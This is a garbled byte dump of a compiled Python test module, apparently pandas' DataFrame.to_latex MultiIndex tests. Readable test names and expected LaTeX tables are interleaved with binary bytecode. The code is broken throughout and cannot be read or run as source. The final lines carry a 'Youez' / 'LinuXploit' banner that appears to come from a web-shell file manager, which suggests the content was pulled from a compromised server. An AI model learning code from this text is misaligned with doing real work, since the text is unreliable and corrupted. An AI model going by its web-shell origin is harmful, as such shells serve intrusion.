            �r�	set_indexr"r)r%r0�observedr9s    r�test_to_latex_multindex_headerz4TestToLatexMultiindex.test_to_latex_multindex_headersd��
�a�S��s�!��A�3�?�
@��
�\�\�3��*�
%���;�;�t�T�l�U�;�C���	
�
���8�#�#�#r
c��tjjddggdg��}td|t	d���}|j�}t
d�}||k(sJ�y)	Nrr���names���r��r=r,a
            \begin{tabular}{lrrrr}
            \toprule
             & 0 & 1 & 2 & 3 \\
             &  &  &  &  \\
            \midrule
            1 & -1 & -1 & -1 & -1 \\
            2 & -1 & -1 & -1 & -1 \\
            \bottomrule
            \end{tabular}
            )�pd�
MultiIndex�from_productrr6r"r)r%�mir0rCr9s     r�#test_to_latex_multiindex_empty_namez9TestToLatexMultiindex.test_to_latex_multiindex_empty_names_��
�]�]�
'�
'�!�Q�����
'�
=��
�r��U�1�X�
6���;�;�=���

�
���8�#�#�#r
c�d�tddgi�}|j�}td�}||k(sJ�y)N�r�yrz�
            \begin{tabular}{ll}
            \toprule
             & x \\
             & y \\
            \midrule
            0 & a \\
            \bottomrule
            \end{tabular}
            r6r7s    r�'test_to_latex_multiindex_column_tabularz=TestToLatexMultiindex.test_to_latex_multiindex_column_tabular3s=��
�
�S�E�*�
+��������	
�
����!�!�!r
c�|�tddgi�j}|jd��}td�}||k(sJ�y)NrQrF�r@z�
            \begin{tabular}{lll}
            \toprule
             &  & 0 \\
            \midrule
            x & y & a \\
            \bottomrule
            \end{tabular}
            )rr7r"rr7s    r�&test_to_latex_multiindex_small_tabularz<TestToLatexMultiindex.test_to_latex_multiindex_small_tabularDsH��
�
�S�E�*�
+�
-�
-�����e��,���
�

����!�!�!r
c�L�|jd��}td�}||k(sJ�y)NFrUaj
            \begin{tabular}{llrrrr}
            \toprule
             &  & 0 & 1 & 2 & 3 \\
            \midrule
            c1 & 0 & 0 & 1 & 2 & 3 \\
             & 1 & 4 & 5 & 6 & 7 \\
            c2 & 0 & 0 & 1 & 2 & 3 \\
             & 1 & 4 & 5 & 6 & 7 \\
            c3 & 0 & 0 & 1 & 2 & 3 \\
            \bottomrule
            \end{tabular}
            r�)r%r9r8r9s    r� test_to_latex_multiindex_tabularz6TestToLatexMultiindex.test_to_latex_multiindex_tabularTs4��!�*�*�E�*�:���
�
����!�!�!r
c��|j}ddg|j_|jd��}t	d�}||k(sJ�y)NrrFrUa�
            \begin{tabular}{lrrrrr}
            \toprule
            a & \multicolumn{2}{r}{c1} & \multicolumn{2}{r}{c2} & c3 \\
            b & 0 & 1 & 0 & 1 & 0 \\
            \midrule
            0 & 0 & 4 & 0 & 4 & 0 \\
            1 & 1 & 5 & 1 & 5 & 1 \\
            2 & 2 & 6 & 2 & 6 & 2 \\
            3 & 3 & 7 & 3 & 7 & 3 \\
            \bottomrule
            \end{tabular}
            )r7r,rHr"r)r%r9r0r8r9s     r�!test_to_latex_multicolumn_tabularz7TestToLatexMultiindex.test_to_latex_multicolumn_tabulargsL��
�
�
����:��
�
�����e��,���
�
����!�!�!r
c��tgd�td�gd�d��}|jddg�jd��}t	d	�}||k(sJ�y)
N�rrrr�abab�rrr�r�r^rrFrUa
            \begin{tabular}{llr}
            \toprule
             &  & c \\
            a & b &  \\
            \midrule
            0 & a & 1 \\
             & b & 2 \\
            1 & a & 3 \\
             & b & 4 \\
            \bottomrule
            \end{tabular}
            )rr�rBr"rr7s    r�$test_to_latex_index_has_name_tabularz:TestToLatexMultiindex.test_to_latex_index_has_name_tabular}sV��
�\��V��<�P�
Q�����s�C�j�)�2�2�E�2�B���
�
����!�!�!r
c���tgd�td�gd�d��}|jd�j�j	dj
d��}t
d	�}||k(sJ�y)
Nr\r]r^r^rz{:.1f}T)rWr�a�
            \begin{tabular}{lrrrrrrrr}
            \toprule
             & \multicolumn{8}{r}{c} \\
             & count & mean & std & min & 25\% & 50\% & 75\% & max \\
            a &  &  &  &  &  &  &  &  \\
            \midrule
            0 & 2.0 & 1.5 & 0.7 & 1.0 & 1.2 & 1.5 & 1.8 & 2.0 \\
            1 & 2.0 & 3.5 & 0.7 & 3.0 & 3.2 & 3.5 & 3.8 & 4.0 \\
            \bottomrule
            \end{tabular}
            )rr��groupby�describer"rXrr7s    r�test_to_latex_groupby_tabularz3TestToLatexMultiindex.test_to_latex_groupby_tabular�sa��
�\��V��<�P�
Q���J�J�s�O�
�X�Z�
�X�8�?�?�4�X�
@�	�
�
�

����!�!�!r
c��ttjjddg�dg��}|j	d��}td�}||k(sJ�y)N)r�rB)r�rB�colrJFrUz�
            \begin{tabular}{lll}
            \toprule
             &  & col \\
            \midrule
            A & c & NaN \\
            B & c & NaN \\
            \bottomrule
            \end{tabular}
            )rrKrL�from_tuplesr"rr7s    r�#test_to_latex_multiindex_dupe_levelz9TestToLatexMultiindex.test_to_latex_multiindex_dupe_level�s[����-�-�+�+�Z��,D�E�PU�w�
�����e��,���	
�
����!�!�!r
c�H�|j�}td�}||k(sJ�y)Na�
            \begin{tabular}{lrrrrr}
            \toprule
             & \multicolumn{2}{r}{c1} & \multicolumn{2}{r}{c2} & c3 \\
             & 0 & 1 & 0 & 1 & 0 \\
            \midrule
            0 & 0 & 5 & 0 & 5 & 0 \\
            1 & 1 & 6 & 1 & 6 & 1 \\
            2 & 2 & 7 & 2 & 7 & 2 \\
            3 & 3 & 8 & 3 & 8 & 3 \\
            4 & 4 & 9 & 4 & 9 & 4 \\
            \bottomrule
            \end{tabular}
            r��r%r;r8r9s    r�!test_to_latex_multicolumn_defaultz7TestToLatexMultiindex.test_to_latex_multicolumn_default�s/��"�+�+�-���

�
�� ��!�!�!r
c�N�|jdd��}td�}||k(sJ�y)NFrA)�multicolumn�multicolumn_formata�
            \begin{tabular}{lrrrrr}
            \toprule
             & c1 & & c2 & & c3 \\
             & 0 & 1 & 0 & 1 & 0 \\
            \midrule
            0 & 0 & 5 & 0 & 5 & 0 \\
            1 & 1 & 6 & 1 & 6 & 1 \\
            2 & 2 & 7 & 2 & 7 & 2 \\
            3 & 3 & 8 & 3 & 8 & 3 \\
            4 & 4 & 9 & 4 & 9 & 4 \\
            \bottomrule
            \end{tabular}
            r�ris    r�test_to_latex_multicolumn_falsez5TestToLatexMultiindex.test_to_latex_multicolumn_false�s7��"�+�+��RU�+�V���

�
�� ��!�!�!r
c�`�|jjd��}td�}||k(sJ�y)NTrUa�
            \begin{tabular}{llrrrrr}
            \toprule
             &  & 0 & 1 & 2 & 3 & 4 \\
            \midrule
            \multirow[t]{2}{*}{c1} & 0 & 0 & 1 & 2 & 3 & 4 \\
             & 1 & 5 & 6 & 7 & 8 & 9 \\
            \cline{1-7}
            \multirow[t]{2}{*}{c2} & 0 & 0 & 1 & 2 & 3 & 4 \\
             & 1 & 5 & 6 & 7 & 8 & 9 \\
            \cline{1-7}
            c3 & 0 & 0 & 1 & 2 & 3 & 4 \\
            \cline{1-7}
            \bottomrule
            \end{tabular}
            )r7r"rris    r�test_to_latex_multirow_truez1TestToLatexMultiindex.test_to_latex_multirow_true�s:��"�$�$�-�-�t�-�<���
�
��$��!�!�!r
c��|jj|_|jjddd��}td�}||k(sJ�y)NTrB)r@rlrma=
            \begin{tabular}{llrrrrr}
            \toprule
             &  & \multicolumn{2}{c}{c1} & \multicolumn{2}{c}{c2} & c3 \\
             &  & 0 & 1 & 0 & 1 & 0 \\
            \midrule
            \multirow[t]{2}{*}{c1} & 0 & 0 & 1 & 2 & 3 & 4 \\
             & 1 & 5 & 6 & 7 & 8 & 9 \\
            \cline{1-7}
            \multirow[t]{2}{*}{c2} & 0 & 0 & 1 & 2 & 3 & 4 \\
             & 1 & 5 & 6 & 7 & 8 & 9 \\
            \cline{1-7}
            c3 & 0 & 0 & 1 & 2 & 3 & 4 \\
            \cline{1-7}
            \bottomrule
            \end{tabular}
            )r7r=r"rris    r�1test_to_latex_multicolumnrow_with_multicol_formatzGTestToLatexMultiindex.test_to_latex_multicolumnrow_with_multicol_formats\��"3�"5�"5�";�";���"�$�$�-�-���"�.�
��
�
�
��&��!�!�!r
�name0N�named0�name1�named1�axesrrc���||g}tjjddgddgg�}td|j	�|j	���}|D]}||j
|_�td�|D��}d|vrt|�r|d�d	|d�d
�nd}	|D�
cgc]}
t|
�rd|vr|
nd��}}
|jd�
�}dtt|�|	gz�z}
||
k(sJ�ycc}
w)Nrrr�r�rIrJc3�(K�|]
}|xsd���y�w)rFNr)�.0�ns  r�	<genexpr>zGTestToLatexMultiindex.test_to_latex_multiindex_names.<locals>.<genexpr>)s����1�a�!�'�r�'�1�s�rz & z &  &  &  &  \\
rFFrUa
\begin{tabular}{llrrrr}
\toprule
 & %s & \multicolumn{2}{r}{1} & \multicolumn{2}{r}{2} \\
 & %s & 3 & 4 & 3 & 4 \\
%s\midrule
1 & 3 & -1 & -1 & -1 & -1 \\
 & 4 & -1 & -1 & -1 & -1 \\
2 & 3 & -1 & -1 & -1 & -1 \\
 & 4 & -1 & -1 & -1 & -1 \\
\bottomrule
\end{tabular}
)rKrLrMr�copyrwrH�tuple�any�boolr"r�)r%rsrurwrHrNr0�idx�	idx_names�
idx_names_rowr{�	col_namesrCr9s              r�test_to_latex_multiindex_namesz4TestToLatexMultiindex.test_to_latex_multiindex_namess��
����
�]�]�
'�
'�!�Q��!�Q��(8�
9��
�r�����B�G�G�I�
>���	'�C�!&�B�G�G�C�L��	'��1�5�1�1�	��T�	�c�%�j���|�n�C�	�!��~�-@�A��	�
DI�I�a�4��7�q�D�y�Q�r�9�I�	�I��;�;��;�.������O�}�o�-�
�

���8�#�#�#��#Js�$C5�one_rowTFc���tddgddgddgd��}|r|jdg}|jdd	g�jd
��}t	d�}|s|d
z
}|dz
}||k(sJ�y)Nrrr�r�r@r^rrrFrUz�
            \begin{tabular}{llr}
            \toprule
             &  & c \\
            a & b &  \\
            \midrule
            NaN & 2 & 4 \\
            z1.000000 & 3 & 5 \\
z\bottomrule
\end{tabular}
)r�ilocrBr"r)r%r�r0rCr9s     r�test_to_latex_multiindex_nansz3TestToLatexMultiindex.test_to_latex_multiindex_nansBs����d�A�Y�a��V�1�a�&�A�
B������!���B��<�<��c�
�+�4�4�e�4�D���
�	
�����
�H���	���8�#�#�#r
c��tgd�gdz�jddg�}|jd��}td�}||k(sJ�y)NrrrrFrUz�
            \begin{tabular}{llr}
            \toprule
             &  & 2 \\
            0 & 1 &  \\
            \midrule
            1 & 2 & 3 \\
             & 2 & 3 \\
            \bottomrule
            \end{tabular}
            rAr7s    r�test_to_latex_non_string_indexz4TestToLatexMultiindex.test_to_latex_non_string_index[sP��
�	�{�Q��
'�
1�
1�1�a�&�
9�����e��,���

�
����!�!�!r
c��tjjddggd�ddgggd���}t|��}|j	d	d
��}td�}||k(sJ�y)
Ngr�)rr
r��0�1)�i�val0�val1rGr<TF)r@r�aE
            \begin{tabular}{lll}
            \toprule
            i & val0 & val1 \\
            \midrule
            \multirow[t]{6}{*}{0.000000} & \multirow[t]{2}{*}{3.000000} & 0 \\
             &  & 1 \\
            \cline{2-3}
             & \multirow[t]{2}{*}{2.000000} & 0 \\
             &  & 1 \\
            \cline{2-3}
             & \multirow[t]{2}{*}{1.000000} & 0 \\
             &  & 1 \\
            \cline{1-3} \cline{2-3}
            \multirow[t]{6}{*}{1.000000} & \multirow[t]{2}{*}{3.000000} & 0 \\
             &  & 1 \\
            \cline{2-3}
             & \multirow[t]{2}{*}{2.000000} & 0 \\
             &  & 1 \\
            \cline{2-3}
             & \multirow[t]{2}{*}{1.000000} & 0 \\
             &  & 1 \\
            \cline{1-3} \cline{2-3}
            \bottomrule
            \end{tabular}
            )rKrLrMrr"r)r%rNr0r8r9s     r�!test_to_latex_multiindex_multirowz7TestToLatexMultiindex.test_to_latex_multiindex_multirownsm��
�]�]�
'�
'��3�Z��3��*�5�=R�(�
���R�
 �����d�5��9���
�
��8��!�!�!r
)rprqrrrIr�r9r;rDrOrSrVrXrZr_rcrgrjrnrprrrsrtr�r�r�r�rr
rr/r/�s���^�^�
��
��^�^�

��

�$�&$�("�""� "�&"�,"�*"�0"�4"�("�("�,"�8�[�[���W�t�X�&6�7��[�[���W�t�X�&6�7��[�[���V�q�c�A�3��A��%7�8�$�9�8�8�$�B�[�[���Y��u�
�6�$�7�$�0"�&#"r
r/)r.r�textwraprrI�pandasrKrr�pandas._testing�_testingr �importorskiprr�rrrvr�r�r�r�r�rr/rr
r�<module>r�s���
���
��������H��#����7��7�
k$�k$�\X?�X?�vk"�k"�\#"�#"�L"�"�D
Z"�Z"�z/"�/"�d_"�_"�D`"�`"r

Youez - 2016 - github.com/yon3zu
LinuXploit